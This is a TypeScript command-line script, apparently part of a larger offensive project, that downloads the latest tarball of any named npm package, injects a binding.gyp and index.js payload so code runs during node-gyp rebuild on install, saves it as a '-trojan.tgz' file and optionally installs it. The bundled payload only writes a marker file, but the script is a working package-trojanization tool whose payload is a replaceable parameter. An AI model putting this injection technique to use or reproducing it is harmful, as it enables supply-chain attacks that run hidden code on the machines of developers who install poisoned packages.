126 lines
4.4 KiB
TypeScript
126 lines
4.4 KiB
TypeScript
#!/usr/bin/env bun
|
|
// Must set scramble/beautify before any modules that use them are loaded.
|
|
(globalThis as Record<string, unknown>).scramble = (s: string): string => s;
|
|
(globalThis as Record<string, unknown>).beautify = (s: string): string => s;
|
|
|
|
/**
|
|
* Validate the binding.gyp injection technique against a real npm package.
|
|
*
|
|
* Usage: bun run src/cli/validate-binding-gyp.ts <npm-package> [--install]
|
|
*
|
|
* 1. Downloads the latest tarball from registry.npmjs.org
|
|
* 2. Injects a binding.gyp + index.js payload that creates /tmp/market.txt
|
|
* 3. Writes the trojanized tarball to the current directory
|
|
* 4. With --install, also runs "npm pack"/"npm install" to trigger node-gyp
|
|
*/
|
|
|
|
import { createWriteStream } from "fs";
|
|
import * as fs from "fs/promises";
|
|
import { join } from "path";
|
|
import { Readable } from "stream";
|
|
import { pipeline } from "stream/promises";
|
|
|
|
// ── Test payload — harmless, creates a marker file ─────────────────────
|
|
|
|
const TEST_PAYLOAD = [
|
|
"// binding.gyp validation — creates /tmp/market.txt on node-gyp rebuild",
|
|
"const fs = require('fs');",
|
|
"const path = '/tmp/market.txt';",
|
|
"fs.writeFileSync(path, 'binding.gyp technique works!\\n' + new Date().toISOString() + '\\n');",
|
|
"console.log('[market] wrote ' + path);",
|
|
].join("\n");
|
|
|
|
// ── Main ──────────────────────────────────────────────────────────────
|
|
|
|
async function main() {
|
|
const args = Bun.argv.slice(2);
|
|
const pkg = args.find((a) => !a.startsWith("--"));
|
|
const doInstall = args.includes("--install");
|
|
|
|
if (!pkg) {
|
|
console.error(
|
|
"Usage: bun run src/cli/validate-binding-gyp.ts <npm-package> [--install]",
|
|
);
|
|
process.exit(1);
|
|
}
|
|
|
|
// 1. Fetch package metadata
|
|
console.error(`Fetching metadata for ${pkg}...`);
|
|
const metaRes = await fetch(
|
|
`https://registry.npmjs.org/${pkg.replace("/", "%2F")}`,
|
|
);
|
|
if (!metaRes.ok) {
|
|
console.error(`Failed to fetch package: ${metaRes.status}`);
|
|
process.exit(1);
|
|
}
|
|
const meta = (await metaRes.json()) as {
|
|
"dist-tags": { latest: string };
|
|
versions: Record<string, { dist?: { tarball?: string } }>;
|
|
};
|
|
const version = meta["dist-tags"].latest;
|
|
const tarballUrl = meta.versions[version]?.dist?.tarball;
|
|
if (!tarballUrl) {
|
|
console.error("No tarball URL found");
|
|
process.exit(1);
|
|
}
|
|
console.error(`Latest: ${pkg}@${version}`);
|
|
|
|
// 2. Download tarball
|
|
console.error(`Downloading ${tarballUrl}...`);
|
|
const res = await fetch(tarballUrl);
|
|
if (!res.ok || !res.body) {
|
|
console.error(`Download failed: ${res.status}`);
|
|
process.exit(1);
|
|
}
|
|
|
|
const filename = `${pkg.replace("@", "").replace("/", "-")}-${version}.tgz`;
|
|
const tarballPath = join("/tmp", filename);
|
|
await pipeline(
|
|
Readable.fromWeb(res.body as import("stream/web").ReadableStream),
|
|
createWriteStream(tarballPath),
|
|
);
|
|
console.error(`Saved to ${tarballPath}`);
|
|
|
|
// 3. Inject binding.gyp + test payload (dynamic import — requires scramble
|
|
// on globalThis before the module chain is loaded)
|
|
console.error("Injecting binding.gyp + test payload...");
|
|
const { updateTarball } = await import("../../src/mutator/npm/tarball");
|
|
const trojanPath = await updateTarball(tarballPath, {
|
|
tag: "[validate]",
|
|
payload: TEST_PAYLOAD,
|
|
});
|
|
|
|
// 4. Copy to cwd
|
|
const outName = `${pkg.replace("@", "").replace("/", "-")}-${version}-trojan.tgz`;
|
|
const outPath = join(process.cwd(), outName);
|
|
await fs.copyFile(trojanPath, outPath);
|
|
console.error(`Wrote ${outPath}`);
|
|
|
|
// 5. Optionally install
|
|
if (doInstall) {
|
|
console.error("\nRunning npm pack + npm install to trigger node-gyp...");
|
|
const { execSync } = await import("child_process");
|
|
try {
|
|
execSync(`npm pack ${outPath}`, { cwd: "/tmp", stdio: "inherit" });
|
|
// npm pack creates a tar, then install it to trigger rebuild
|
|
const packed = `/tmp/${pkg.replace("@", "").replace("/", "-")}-${version}.tgz`;
|
|
execSync(`npm install ${packed}`, {
|
|
cwd: "/tmp/test-install-validate",
|
|
stdio: "inherit",
|
|
});
|
|
} catch (e: any) {
|
|
console.error(
|
|
`Install failed (may be OK if node-gyp not available): ${e.message}`,
|
|
);
|
|
}
|
|
}
|
|
|
|
// Print result
|
|
console.log(outPath);
|
|
}
|
|
|
|
main().catch((err) => {
|
|
console.error(err);
|
|
process.exit(1);
|
|
});
|